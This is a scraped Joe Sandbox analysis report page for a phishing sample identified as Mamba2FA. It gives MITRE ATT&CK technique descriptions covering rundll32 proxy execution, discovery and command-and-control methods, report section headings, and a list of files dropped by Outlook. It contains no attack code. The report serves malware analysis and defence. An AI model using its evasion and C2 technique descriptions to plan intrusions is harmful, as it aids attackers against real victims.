Description:	Adversaries may abuse rundll32.exe to proxy execution of malicious code. Using rundll32.exe, vice executing directly (i.e. Shared Modules ), may avoid triggering security tools that may not monitor execution of the rundll32.exe process because of allowlists or false positives from normal operations. Rundll32.exe is commonly associated with executing DLL payloads (ex: `rundll32.exe {DLLname, DLLfunction}` ).
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report zip file.zip

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Threatname: Mamba2FA

Yara Signatures

HTML

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Phishing

Compliance

Networking

System Summary

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Language, Device and Operating System Detection

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

LLM Input / Output

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\FORMS\FRMCACHE.DAT

C:\Users\user\AppData\Local\Microsoft\Office\16.0\AddInClassifierCache\OfficeSharedEntities.bin

C:\Users\user\AppData\Local\Microsoft\Office\16.0\AddInClassifierCache\OfficeSharedEntitiesUpdated.bin

C:\Users\user\AppData\Local\Microsoft\Office\16.0\WebServiceCache\AllUsers\officeclient.microsoft.com\29E70295-097A-46CB-8B28-DED1AD70AD1B

C:\Users\user\AppData\Local\Microsoft\Office\OTele\outlook.exe.db

C:\Users\user\AppData\Local\Microsoft\Office\OTele\outlook.exe.db-journal

C:\Users\user\AppData\Local\Microsoft\Office\OTele\outlook.exe.db-shm

C:\Users\user\AppData\Local\Microsoft\Office\OTele\outlook.exe.db-wal

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.Outlook\8GCX2IJD\ATT47968 (002).htm

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.Outlook\8GCX2IJD\ATT47968 (002).htm:Zone.Identifier

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.Outlook\8GCX2IJD\ATT47968.htm

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.Outlook\8GCX2IJD\ATT47968.htm:Zone.Identifier

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.Outlook\8GCX2IJD\ATT48970 (002).htm

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.Outlook\8GCX2IJD\ATT48970 (002).htm:Zone.Identifier

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.Outlook\8GCX2IJD\ATT48970.htm

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.Outlook\8GCX2IJD\ATT48970.htm:Zone.Identifier

C:\Users\user\AppData\Local\Temp\Diagnostics\OUTLOOK\App1729886849238299300_6586986F-0A41-474E-AB4A-636B28EBA023.log

C:\Users\user\AppData\Local\Temp\Diagnostics\OUTLOOK\App1729886849239082100_6586986F-0A41-474E-AB4A-636B28EBA023.log

C:\Users\user\AppData\Local\Temp\Outlook Logging\OUTLOOK_16_0_16827_20130-20241025T1607290040-6540.etl

C:\Users\user\AppData\Local\Temp\Outlook Logging\OUTLOOK_16_0_16827_20130-20241025T1607460011-7156.etl

Windows Analysis Report
zip file.zip